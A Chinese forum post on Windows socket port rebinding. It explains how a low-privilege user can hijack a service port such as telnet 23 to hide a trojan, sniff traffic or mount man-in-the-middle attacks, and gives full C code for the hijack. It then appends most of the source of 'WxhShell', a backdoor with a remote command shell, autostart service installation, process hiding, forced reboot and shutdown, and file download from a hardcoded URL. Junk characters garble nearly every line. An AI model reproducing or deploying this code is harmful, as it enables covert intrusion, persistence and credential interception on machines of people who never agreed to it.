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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HjA_g0u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {G3i0 r  
rNlW7 Y  
  saddr.sin_family = AF_INET; E4i0i!<z  
QA;!caNp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Tycq1i^  
W3rl^M=r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e ZLMP  
+ G;LX'B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iY0>lDFm.  
aWy]9F&C:  
  这意味着什么?意味着可以进行如下的攻击: z ;Q<F  
;%Hf)F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?La Ued'  
G7@ O`N8'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &:5\"b  
tX%`#hb?s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k?6z_vu  
=IjQ40W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z@Hp,|Vy[  
-#s [F S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?_g1*@pA  
H'=(`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6l\FIah@  
:G5RYi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lfN~A"X  
JC#>Td  
  #include .S?pG_n]f  
  #include p'94SXO_  
  #include RA O`i>@  
  #include    9GLb"6+PK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [10zTU`  
  int main() en*d/>OVJ  
  { o0It82?RN  
  WORD wVersionRequested; 0N:XIGFa  
  DWORD ret; ]; Wx  
  WSADATA wsaData; 58V[mlW)O0  
  BOOL val; nBItO~l  
  SOCKADDR_IN saddr; XORk!m|  
  SOCKADDR_IN scaddr; iK()&TNz  
  int err; >[10H8~bI/  
  SOCKET s; *|#T8t,}n  
  SOCKET sc; P\nC?!Q%c  
  int caddsize; "xJ0 vlw  
  HANDLE mt; 3oy~=  
  DWORD tid;   >vbY<HGt  
  wVersionRequested = MAKEWORD( 2, 2 ); #z'uRHx%=0  
  err = WSAStartup( wVersionRequested, &wsaData ); S9| a$3K'  
  if ( err != 0 ) { 6Jz^  
  printf("error!WSAStartup failed!\n"); 9uk<&nqx  
  return -1; \]4v_!  
  } ~b~2 >c9  
  saddr.sin_family = AF_INET; *^%*o?M~  
   13hE}g;.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K(}AX+rIg  
MrRaU x6z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dt}_D={Be  
  saddr.sin_port = htons(23); Zw1U@5}A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M]]pTU((  
  { #/2$+x  
  printf("error!socket failed!\n"); 4qi[r)G  
  return -1; [K/m  
  } ;)AfB#:d  
  val = TRUE; 0\9K3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5ExDB6Bx@y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Px FWJ?=  
  { ~]C%/gEh  
  printf("error!setsockopt failed!\n"); x#.C4O09  
  return -1; Q Fm|-j  
  } b</9Ai=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NB_ )ZEmF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vmTs9"ujF,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @=j WHS  
cTTW06^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3*UR3!Z9 *  
  { Iq7}   
  ret=GetLastError(); vQ}6y  
  printf("error!bind failed!\n"); b75 $?_+  
  return -1; 8I;XS14Q  
  } u"1rF^j6k  
  listen(s,2); $Xm6N@  
  while(1) q$(5Vd:  
  { (6l+lru[  
  caddsize = sizeof(scaddr); Cqii}  
  //接受连接请求 RwI[R)k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6z0@I*  
  if(sc!=INVALID_SOCKET) Fs_]RfG  
  { uc7Eq45  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %WTEv?I{Ga  
  if(mt==NULL) d[p;T\?"  
  { 8mTM$#\  
  printf("Thread Creat Failed!\n"); l5xCz=dw  
  break; s~I6SA&i  
  } ~S,p?I  
  } za Tb~#c_  
  CloseHandle(mt); 7\]E~/g  
  } 7/7Z`  
  closesocket(s); ;5-r_D;9  
  WSACleanup(); "tFxhKf  
  return 0; P 3MhU;  
  }   .MQ^(  
  DWORD WINAPI ClientThread(LPVOID lpParam) b45|vX+j  
  { =@,Q Dm]L  
  SOCKET ss = (SOCKET)lpParam; tE6!+c<7  
  SOCKET sc; i) E|bW;  
  unsigned char buf[4096]; )^||\G  
  SOCKADDR_IN saddr; zDhB{3-Q1{  
  long num; <fCKUc  
  DWORD val; eW5SFY.  
  DWORD ret; qd3Q}Lk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 No]~jnqDM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o<IAeH {+  
  saddr.sin_family = AF_INET; /~*_x=p:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {7TlN.(  
  saddr.sin_port = htons(23); ^7zu<lX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1I@8A>2^OX  
  { ['8!qr  
  printf("error!socket failed!\n"); _@S`5;4x  
  return -1;  |@NiW\O  
  } ljl^ GFo  
  val = 100; @36u8pE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z [`@}}Q  
  { Zo1,1O  
  ret = GetLastError(); ,h"-  
  return -1; "&Po,AWa  
  } bR@p<;G|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =X.LA%Sf=u  
  { Z{&cuo.@<]  
  ret = GetLastError(); [Nn`l,  
  return -1; }neY<{z  
  } c'/l,k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  N?Lb  
  { >pUtwIP  
  printf("error!socket connect failed!\n"); =UyLk-P w  
  closesocket(sc); \%UkSO\nO3  
  closesocket(ss);  V#VN %{  
  return -1; 7{&|;U  
  } )K &(  
  while(1) %HrAzM.QBF  
  { df7wN#kO+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N F)~W#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :y7c k/>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w$JvB5O  
  num = recv(ss,buf,4096,0); H":oNpfb  
  if(num>0) 3R+|5Uq8~  
  send(sc,buf,num,0); 2-Y<4'>  
  else if(num==0) D!7`CH+  
  break; 8M!:N(a  
  num = recv(sc,buf,4096,0); (5]}5W*  
  if(num>0) p]3?gK-  
  send(ss,buf,num,0); I? ,>DHUX  
  else if(num==0) I`NjqyTW  
  break; $DG?M6   
  } U&O: _>~  
  closesocket(ss); N-lkYL-%\j  
  closesocket(sc); sr8cYLm5R  
  return 0 ; ]U"94S U:)  
  } .Wjs~0c  
H;RwO@v  
!47n[Zs  
========================================================== <[w=TdCPs  
#%DE;  
下边附上一个代码,,WXhSHELL -Uml_/rd_  
*}P~P$q%  
========================================================== Gz .|]:1  
;*MLRXq  
#include "stdafx.h" UX7t`l2R  
eJg8,7WC  
#include <stdio.h> %c4Hse#Y  
#include <string.h> X&kp;W  
#include <windows.h> Kr)a2rZ}SL  
#include <winsock2.h> 1I:+MBGin  
#include <winsvc.h> O%bEB g  
#include <urlmon.h> ](hE^\SC  
EFz&N\2  
#pragma comment (lib, "Ws2_32.lib") 4EY)!?;  
#pragma comment (lib, "urlmon.lib") h $2</J"  
#\=FO>  
#define MAX_USER   100 // 最大客户端连接数 % >=!p  
#define BUF_SOCK   200 // sock buffer B {>7-0  
#define KEY_BUFF   255 // 输入 buffer e%b6(%  
u?C#4  
#define REBOOT     0   // 重启 wb0L.'jyR)  
#define SHUTDOWN   1   // 关机 |ZmUNiAa  
VVlr*`  
#define DEF_PORT   5000 // 监听端口 q<M2,YrbAI  
jyCXJa-!-  
#define REG_LEN     16   // 注册表键长度 a |X a3E  
#define SVC_LEN     80   // NT服务名长度 /'/Xvm3  
$&=S#_HQS  
// 从dll定义API LGn:c;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }4,L%$@n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'dn]rV0(C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !z>6 Uf!{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2'w?\{}D  
~sh`r{0  
// wxhshell配置信息 ?32&]iM oW  
struct WSCFG { w(L4A0K[  
  int ws_port;         // 监听端口 E 7{U |\  
  char ws_passstr[REG_LEN]; // 口令 H*}y^ )x  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~A\GT$  
  char ws_regname[REG_LEN]; // 注册表键名 ;0Tx-8l  
  char ws_svcname[REG_LEN]; // 服务名 y+NN< EY@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1eF3`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z:wutqru  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :;9F>?VN>0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r8RoE`/T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DW[N|-L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vh4X%b$TV  
BI%$c~wS  
}; H:V2[y8\  
%xI p5h]  
// default Wxhshell configuration p;>ec:z3M  
struct WSCFG wscfg={DEF_PORT, @J/K-.r  
    "xuhuanlingzhe",  tVN  
    1, "]} bFO7C  
    "Wxhshell", 'DCTc&J['  
    "Wxhshell", %iQD /iT5  
            "WxhShell Service", 8)_XJ"9)G  
    "Wrsky Windows CmdShell Service", bE !GJZ  
    "Please Input Your Password: ", _z|65H  
  1, C&(N I  
  "http://www.wrsky.com/wxhshell.exe", Yo6*C  
  "Wxhshell.exe" Q~#Wf ?  
    }; asppRL||  
8.O8No:'&  
// 消息定义模块 I=`U7Bis"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fj2BnM3#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;~m8;8)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uxr #QA  
char *msg_ws_ext="\n\rExit."; 0Qf,@^zL*  
char *msg_ws_end="\n\rQuit."; },{$*f[  
char *msg_ws_boot="\n\rReboot..."; rX2.i7i,  
char *msg_ws_poff="\n\rShutdown..."; cK(C&NK  
char *msg_ws_down="\n\rSave to "; GjvOM y  
VA#"r!1  
char *msg_ws_err="\n\rErr!"; I&x=;   
char *msg_ws_ok="\n\rOK!"; 3YR!Mq$|~  
kaVxT_  
char ExeFile[MAX_PATH]; iv J@=pd)B  
int nUser = 0; _Tm3<o.  
HANDLE handles[MAX_USER]; ;,%fE2c  
int OsIsNt; gCB |DY  
k_rt&}e+Gi  
SERVICE_STATUS       serviceStatus; Swig;`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t-tg-<  
8p 'L#Q.  
// 函数声明 g}1B;zGf  
int Install(void); V17%=bCZ5[  
int Uninstall(void); iP ->S\  
int DownloadFile(char *sURL, SOCKET wsh); r@H /kD  
int Boot(int flag); . YAT:;L  
void HideProc(void); nFHUy9q  
int GetOsVer(void); ^ B fC  
int Wxhshell(SOCKET wsl); 8;RUf~q?  
void TalkWithClient(void *cs); K0|FY=#2y  
int CmdShell(SOCKET sock); 6d<r= C=  
int StartFromService(void); aC8} d  
int StartWxhshell(LPSTR lpCmdLine); vXrx{5gz  
YYBDRR"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (c=6yV@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \ C+~m  
1#< '&Lr  
// 数据结构和表定义 dO! kk"qn  
SERVICE_TABLE_ENTRY DispatchTable[] = T $>&[f$6  
{ *av<E  
{wscfg.ws_svcname, NTServiceMain}, Q{>+ft U  
{NULL, NULL} R'as0 u\  
}; SJn;{X>)q  
[}E='m}u9+  
// 自我安装 /[ 5gX^A  
int Install(void) On9A U:\  
{ m$>H u@Va  
  char svExeFile[MAX_PATH]; Rq'S>#e  
  HKEY key; PR#exm&  
  strcpy(svExeFile,ExeFile); nv|NQ Tk  
7rc0yB  
// 如果是win9x系统,修改注册表设为自启动 X9W@&zQ  
if(!OsIsNt) { ]8_NZHld  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5H<m$K4z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 $4[gcL'  
  RegCloseKey(key); y}" O U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l *(8i ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M2,l7  
  RegCloseKey(key); -A^_{4X  
  return 0; %S960  
    } ZB= E}]v6  
  } [Kg+^N% +  
} dd%6t  
else { qZ}^;)a^  
vxBgGl  
// 如果是NT以上系统,安装为系统服务 XPXIg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )4e.k$X^  
if (schSCManager!=0) vtg !8u4  
{ n,y ZRY  
  SC_HANDLE schService = CreateService \h/H#j ZJ  
  ( i#n0U/  
  schSCManager, cKca;SNql1  
  wscfg.ws_svcname, G:<aB  
  wscfg.ws_svcdisp, #4 <SAgq  
  SERVICE_ALL_ACCESS, *SJ_z(CZm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :'X&bn  
  SERVICE_AUTO_START, >C>.\  
  SERVICE_ERROR_NORMAL, ? =Z?6fw  
  svExeFile, UmP/h@8  
  NULL, @1roe G  
  NULL, pK>N-/?a  
  NULL, Cw3 a0u  
  NULL, ?=sDM& '  
  NULL :%=Xm   
  ); @Md/Q~>  
  if (schService!=0) hR?{3d#x2  
  { iHM%iUV  
  CloseServiceHandle(schService); hn G Z=  
  CloseServiceHandle(schSCManager); PJ|P1O36a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); me$Z~/Akm  
  strcat(svExeFile,wscfg.ws_svcname); gD @){Ip  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  JYI,N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {UI+$/v#  
  RegCloseKey(key); N)X3XTY  
  return 0; IVY]EkEG~  
    } Woy m/[i  
  } I^-Sb=j?Z  
  CloseServiceHandle(schSCManager); S&wMrQ  
} W aRw05r  
} 76{G'}B  
Jq-]7N%k/  
return 1; \;B iq`  
} B6DYZ+7A  
AO4U}?  
// 自我卸载 1v2 7;Q<+Q  
int Uninstall(void) b4 6~?*  
{ `Y$4 H,8L  
  HKEY key; Rh{f5-  
GR_-9}jQP  
if(!OsIsNt) { (mpNcOY<D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z43M] P<  
  RegDeleteValue(key,wscfg.ws_regname); m=:9+z  
  RegCloseKey(key); 'o2Fa_|<#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dw.J2>uj  
  RegDeleteValue(key,wscfg.ws_regname); k1~&x$G  
  RegCloseKey(key); cOJo3p;&  
  return 0; jvL[ JI,b  
  } Ynj,pl  
} =&]g "a'  
} rglXs  
else { b2Fe<~S{  
K($Npuu]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6<QQ@5_  
if (schSCManager!=0) @Cyvf5|bL  
{ 4xje$/_d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *w\W/Y  
  if (schService!=0) -G rE} L  
  { *L^,|   
  if(DeleteService(schService)!=0) { 77f9(~ZnT  
  CloseServiceHandle(schService); .|70;  
  CloseServiceHandle(schSCManager); U%QI a TN*  
  return 0; i[3'ec3  
  } [}=B8#Jl-C  
  CloseServiceHandle(schService); aB&&YlR=n<  
  } f}P3O3Yv&  
  CloseServiceHandle(schSCManager); !*N@ZL&X  
} Bnxm HGP#&  
} F^;ez/Gl  
V b?oJhR  
return 1; X.{S*E:$u  
} \~$#1D1f  
m<Dy<((_I  
// 从指定url下载文件 FTUv IbT  
int DownloadFile(char *sURL, SOCKET wsh) |/{=ww8|  
{ VlsnL8DV  
  HRESULT hr; f.$af4 u  
char seps[]= "/"; ##>H&,Dp[  
char *token; qo bc<-  
char *file; Ve; n}mJ?  
char myURL[MAX_PATH]; kdeWip6Y  
char myFILE[MAX_PATH]; (hbyEQhF  
*^ZV8c}  
strcpy(myURL,sURL); m-#2n? z-  
  token=strtok(myURL,seps); V U3upy<  
  while(token!=NULL) 3F2w-+L  
  { ?0SJfh  
    file=token; hHnYtq  
  token=strtok(NULL,seps); }19\.z&J  
  } \_f(M|  
on `3&0,.  
GetCurrentDirectory(MAX_PATH,myFILE); <>rneHl8  
strcat(myFILE, "\\"); m;QMQeGz  
strcat(myFILE, file); hz@bW2S.  
  send(wsh,myFILE,strlen(myFILE),0); E ~<JC"]  
send(wsh,"...",3,0); ](8[}CeL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '5$b-x6F  
  if(hr==S_OK) >|UOz&  
return 0; j A%u 5V  
else /*mI<[xb  
return 1; ^<2p~h0 \  
lt8|9"9<  
} @Jw-8Q{  
SE  %pw9  
// 系统电源模块 kt:! 7  
int Boot(int flag) YIYmiv5  
{ EaN6^S=  
  HANDLE hToken; s2'h  
  TOKEN_PRIVILEGES tkp; -[.[>&`/  
u'BaKWPS  
  if(OsIsNt) { 4|?;TE5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1=V-V<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3a'<*v<xw  
    tkp.PrivilegeCount = 1; xwo<' xT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MQ8J<A Pf-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $ddCTS^  
if(flag==REBOOT) { $xN|5;+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fNFY$:4X  
  return 0; }pkzH'$HJ  
} C~/a-  
else { J)-x!y>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sdryol<  
  return 0; KbeC"mi  
} 8$}<, c(  
  } ]c'A%:f<  
  else { C?eH]hkZ3  
if(flag==REBOOT) { <Q3c[ Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5=ryDrx  
  return 0; Q^")jPd  
} Y}wyw8g/  
else { oUlVI*~ND  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A*BeR0(  
  return 0; 3^yK!-Wp(  
} o66}yJzmD  
} xJ.M;SF4  
utV_W&  
return 1; TM%%O :3  
} + {'.7#  
x[e<} 8'$(  
// win9x进程隐藏模块 nqUV  
void HideProc(void) Zj'9rXhrM1  
{ m)v &v6  
'm$L Ij?@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DN6Mo<H  
  if ( hKernel != NULL ) p4Z(^+Aa  
  { l.M0`Cn-%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Iu=(qU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f3y=Wxk[  
    FreeLibrary(hKernel); c-sfg>0^  
  } El8,,E  
|2A:eI8 ^  
return; dk^~;m#iN  
} K{+2G&i  
KMax$  
// 获取操作系统版本 fp"W[S|uL  
int GetOsVer(void) 4#Jg9o   
{ O;3>sLgc  
  OSVERSIONINFO winfo; p6S8VA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =7UsVn#o  
  GetVersionEx(&winfo); ^S; -fYW2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2GG2jky{/  
  return 1; TWX.D`W  
  else B%68\  
  return 0; I7 ]8Y=xf  
} ftSW (og  
f _:A0  
// 客户端句柄模块 Zv{'MIv&v  
int Wxhshell(SOCKET wsl) n `Ac 3A  
{ #KvlYZ+1  
  SOCKET wsh; M<&= S  
  struct sockaddr_in client; ;$Jo+#  
  DWORD myID; {P-):  
CTmT@A{  
  while(nUser<MAX_USER) |Y.?_lC  
{ :Zlwy-[  
  int nSize=sizeof(client); .e-#yET  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8eRLy/`gd  
  if(wsh==INVALID_SOCKET) return 1; #<xm.  
6aj!Q*(WT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gRzxLf`K  
if(handles[nUser]==0) VIbq:U  
  closesocket(wsh); E{vbO/|kf  
else 3OB"#Ap8<  
  nUser++; &7s.`  
  } 4skD(au8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yf,z$CR  
qxc[M8s  
  return 0; x?<FJ"8"k  
} mR)wX 6  
vP,n(reM  
// 关闭 socket N$tGQ@  
void CloseIt(SOCKET wsh) e'<)V_  
{ "J1 4C9u   
closesocket(wsh); "r2 r   
nUser--; 2fS:- 8N  
ExitThread(0); vih9 KBT  
} q,%st~  
1Z&(6cDY8M  
// 客户端请求句柄 TcoB,Kdce  
void TalkWithClient(void *cs) glw+l'@  
{ Ho]su?  
zT{ VE+=  
  SOCKET wsh=(SOCKET)cs; w!XD/j N  
  char pwd[SVC_LEN]; W@esITr  
  char cmd[KEY_BUFF]; +w~oH=  
char chr[1]; Uw:"n]G]D?  
int i,j;  0+8e,  
|vC~HJpuv'  
  while (nUser < MAX_USER) { E" vS $  
2KZneS`  
if(wscfg.ws_passstr) { ;FEqe 49  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [fy LV`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1.>m@Slr>  
  //ZeroMemory(pwd,KEY_BUFF); ptaKf4P^r  
      i=0; lLIA w$  
  while(i<SVC_LEN) { @}ZVtrz  
6dYMwMH  
  // 设置超时 "Y.y:Vv;  
  fd_set FdRead; OZ&o:/*HM  
  struct timeval TimeOut; GN>@ZdVG}#  
  FD_ZERO(&FdRead); H"F29Pu2  
  FD_SET(wsh,&FdRead); mp3s-YfRc  
  TimeOut.tv_sec=8; |l!aB(NW  
  TimeOut.tv_usec=0; 7[wPn`v2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dF2RH)Ud  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D/' dTrR  
Qg/rRiV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ss-D(K"  
  pwd=chr[0]; e:W{OIz:  
  if(chr[0]==0xd || chr[0]==0xa) { 6MI8zRX  
  pwd=0; 8b=_Y;  
  break; eV~goj  
  } K<J9 ~  
  i++; :zR!/5  
    } T8NxJmYqB  
T^q 0'#/  
  // 如果是非法用户,关闭 socket Mb=" Te>|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fXB0j;A  
} `F6C-  
p b,. r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :v 4]D4\o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); paMa+jhQQ  
FgO)DQm  
while(1) { _vZOZKS+  
IGN1gs  
  ZeroMemory(cmd,KEY_BUFF); B/C,.?Or  
-F>jIgeC2v  
      // 自动支持客户端 telnet标准   I}Q2Vu<  
  j=0; :@&/kyGH  
  while(j<KEY_BUFF) { y?# Loe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dqAw5[qMJ  
  cmd[j]=chr[0]; h `wD  
  if(chr[0]==0xa || chr[0]==0xd) { B erwI 7!=  
  cmd[j]=0; K|@G t%Y  
  break;  2Rz  
  } QSj]ZA  
  j++; L%5%T;0'~  
    } \j.:3X r  
@ .KGfNu  
  // 下载文件 FPTK`Gd0  
  if(strstr(cmd,"http://")) { h7@6T+#WoT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A)~6Im  
  if(DownloadFile(cmd,wsh)) y> (w\K9W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8>%hz$no=  
  else 'f|o{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dhv3jg;lq  
  } B1Oq!k  
  else { |'2d_vR  
=Runf +}  
    switch(cmd[0]) { LHmZxi?  
  <6=c,y  
  // 帮助 t:c.LFrF  
  case '?': { /L#?zSt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mcok/,/  
    break; L8n|m!MOD  
  } y_9Ds>p!T  
  // 安装 6zn5UW#q  
  case 'i': { 5:U so{  
    if(Install()) Qci]i)s$js  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -{_PuJ "  
    else =":,.Ttq41  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3N:D6w-R  
    break; >i O!*&Y>  
    } h.fq,em+H  
  // 卸载 :i7;w%B  
  case 'r': { =qIyqbXz  
    if(Uninstall()) GH xp7H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |D.ND%K&  
    else Xm 2'6f,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rN{ c7/|  
    break; 07$o;W@  
    } xwty<?dRW1  
  // 显示 wxhshell 所在路径 |)G<,FJQE_  
  case 'p': { Lh<).<S  
    char svExeFile[MAX_PATH]; 9k=3u;$v  
    strcpy(svExeFile,"\n\r"); v9UD%@tZ  
      strcat(svExeFile,ExeFile); :j`s r  
        send(wsh,svExeFile,strlen(svExeFile),0); ~v"L!=~G;a  
    break; m4yL@d,Yw  
    } '%`:+]!  
  // 重启 6`-jPR  
  case 'b': { JMM W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [fIg{Q  
    if(Boot(REBOOT)) c0fo7|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I2^8pTLh  
    else { <^uBoKB/f  
    closesocket(wsh); bs'n+:X `  
    ExitThread(0); ]0\MmAJRn  
    } nNU2([  
    break; A+)`ZTuO  
    } 2Wb]4-  
  // 关机 F}q c0  
  case 'd': { Hq 188<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T,tdL N-  
    if(Boot(SHUTDOWN)) j8`BdKg  
